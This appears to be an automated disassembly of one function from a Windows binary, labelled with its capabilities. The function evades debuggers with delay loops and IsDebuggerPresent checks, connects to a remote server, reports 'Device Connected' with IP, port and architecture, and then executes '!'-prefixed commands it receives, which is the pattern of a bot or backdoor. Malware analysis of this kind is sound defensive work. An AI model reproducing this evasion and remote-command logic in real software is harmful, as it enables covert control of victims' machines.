Function at 0x14000299c
Capabilities:
Initialize winsock library
Terminate process

Disassembly:
push rbp
push rsi
push rbx
mov eax, 0x1270
call fcn.1400044f0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x1210], ecx
mov qword [rbp + 0x1218], rdx
call sym.__main
mov dword [rbp + 0x11ec], 0
jmp 0x1400029d9
add dword [rbp + 0x11ec], 1
cmp dword [rbp + 0x11ec], 9
jle 0x1400029d2
mov dword [rbp + 0x11e8], 0
jmp 0x1400029f5
add dword [rbp + 0x11e8], 1
cmp dword [rbp + 0x11e8], 0x98967f
jle 0x1400029ee
call sym.CustomIsDebuggerPresentCheck
mov rax, qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
call rax
test eax, eax
je 0x140002a1d
mov eax, 0
jmp 0x140002df9
call sym.getIPAddress
mov rax, rbp
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
call sym.initConnection
test eax, eax
jne 0x140002df3
call sym.getArch
mov rbx, rax
call sym.getPortz
mov rsi, rax
call sym.getIP
mov rdx, rax
mov eax, dword [0x14000c0a0]
mov qword [rsp + 0x20], rbx
mov r9, rsi
mov r8, rdx
lea rdx, str.e_1_94mDevice_Connected:__s__Port:__s__Arch:__se_0m
mov ecx, eax
call sym.sockprintf
mov dword [rbp + 0x11b8], 0
mov dword [rbp + 0x11b4], 0
jmp 0x140002dc1
mov eax, dword [rbp + 0x11b8]
cdqe
mov byte [rbp + rax + 0x1a0], 0
lea rax, [rbp + 0x1a0]
mov rcx, rax
call sym.trim
lea rax, [rbp + 0x1a0]
mov qword [rbp + 0x11e0], rax
lea rax, [rbp + 0x1a0]
lea rdx, [0x140006c8e]
mov rcx, rax
call sym.strstr
mov rdx, rax
lea rax, [rbp + 0x1a0]
cmp rdx, rax
jne 0x140002aef
mov ecx, 0
call sym.exit
mov rax, qword [rbp + 0x11e0]
movzx eax, byte [rax]
cmp al, 0x21
jne 0x140002dc1
mov rax, qword [rbp + 0x11e0]
add rax, 1
mov qword [rbp + 0x11d8], rax
jmp 0x140002b1d
add qword [rbp + 0x11d8], 1
mov rax, qword [rbp + 0x11d8]
movzx eax, byte [rax]
cmp al, 0x20
je 0x140002b39
mov rax, qword [rbp + 0x11d8]
movzx eax, byte [rax]
test al, al
jne 0x140002b15
mov rax, qword [rbp + 0x11d8]
movzx eax, byte [rax]
test al, al
jne 0x140002b4c
jmp 0x140002dc1
mov rax, qword [rbp + 0x11d8]
mov byte [rax], 0
mov rax, qword [rbp + 0x11e0]
add rax, 1
mov qword [rbp + 0x11d8], rax
mov rax, qword [rbp + 0x11d8]
mov rcx, rax
call sym.strlen
add rax, 2
add qword [rbp + 0x11e0], rax
jmp 0x140002ba4
mov rax, qword [rbp + 0x11e0]
mov rcx, rax
call sym.strlen
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x11e0]
add rax, rdx
mov byte [rax], 0
mov rax, qword [rbp + 0x11e0]
mov rcx, rax
call sym.strlen
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x11e0]
add rax, rdx
movzx eax, byte [rax]
cmp al, 0xa
je 0x140002b84
mov rax, qword [rbp + 0x11e0]
mov rcx, rax
call sym.strlen
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x11e0]
add rax, rdx
movzx eax, byte [rax]
cmp al, 0xd
je 0x140002b84
mov rax, qword [rbp + 0x11e0]
mov qword [rbp + 0x11a8], rax
jmp 0x140002c04
add qword [rbp + 0x11e0], 1
mov rax, qword [rbp + 0x11e0]
movzx eax, byte [rax]
cmp al, 0x20
je 0x140002c20
mov rax, qword [rbp + 0x11e0]
movzx eax, byte [rax]
test al, al
jne 0x140002bfc
mov rax, qword [rbp + 0x11e0]
mov byte [rax], 0
add qword [rbp + 0x11e0], 1
mov rax, qword [rbp + 0x11a8]
mov qword [rbp + 0x11d0], rax
jmp 0x140002c6d
mov rax, qword [rbp + 0x11d0]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
mov rax, qword [sym.imp.ucrtbase.dll_toupper]
call rax
mov edx, eax
mov rax, qword [rbp + 0x11d0]
mov byte [rax], dl
add qword [rbp + 0x11d0], 1
mov rax, qword [rbp + 0x11d0]
movzx eax, byte [rax]
test al, al
jne 0x140002c42
mov dword [rbp + 0x11cc], 1
mov rax, qword [rbp + 0x11e0]
lea rdx, str._________._0123456789:_____ABCDEFGHIJKLMNOPQRSTUVWXYZ____abcdefghijklmnopqrstuvwxyz
mov rcx, rax
call sym.strtok
mov qword [rbp + 0x11c0], rax
mov rax, qword [rbp + 0x11a8]
mov qword [rbp - 0x50], rax
jmp 0x140002d59
mov rax, qword [rbp + 0x11c0]
movzx eax, byte [rax]
cmp al, 0xa
je 0x140002d3e
mov rax, qword [rbp + 0x11c0]
mov rcx, rax
call sym.strlen
add rax, 1
mov rcx, rax
call sym.malloc
mov rdx, rax
mov eax, dword [rbp + 0x11cc]
cdqe
mov qword [rbp + rax*8 - 0x50], rdx
mov rax, qword [rbp + 0x11c0]
mov rcx, rax
call sym.strlen
lea rdx, [rax + 1]
mov eax, dword [rbp + 0x11cc]
cdqe
mov rax, qword [rbp + rax*8 - 0x50]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, dword [rbp + 0x11cc]
cdqe
mov rax, qword [rbp + rax*8 - 0x50]
mov rdx, qword [rbp + 0x11c0]
mov rcx, rax
call sym.strcpy
add dword [rbp + 0x11cc], 1
lea rax, str._________._0123456789:_____ABCDEFGHIJKLMNOPQRSTUVWXYZ____abcdefghijklmnopqrstuvwxyz
mov rdx, rax
mov ecx, 0
call sym.strtok
mov qword [rbp + 0x11c0], rax
cmp qword [rbp + 0x11c0], 0
jne 0x140002cb2
lea rdx, [rbp - 0x50]
mov eax, dword [rbp + 0x11cc]
mov ecx, eax
call sym.processCmd
cmp dword [rbp + 0x11cc], 1
jle 0x140002dc1
mov dword [rbp + 0x11bc], 1
mov dword [rbp + 0x11bc], 1
jmp 0x140002db3
mov eax, dword [rbp + 0x11bc]
cdqe
mov rax, qword [rbp + rax*8 - 0x50]
mov rcx, rax
call sym.free
add dword [rbp + 0x11bc], 1
mov eax, dword [rbp + 0x11bc]
cmp eax, dword [rbp + 0x11cc]
jl 0x140002d97
mov eax, dword [0x14000c0a0]
lea rdx, [rbp + 0x1a0]
mov r8d, 0x1000
mov ecx, eax
call sym.recvLine
mov dword [rbp + 0x11b8], eax
cmp dword [rbp + 0x11b8], 0xffffffff
jne 0x140002a93
jmp 0x140002a36
nop
jmp 0x140002a36
add rsp, 0x1270
pop rbx
pop rsi
pop rbp
ret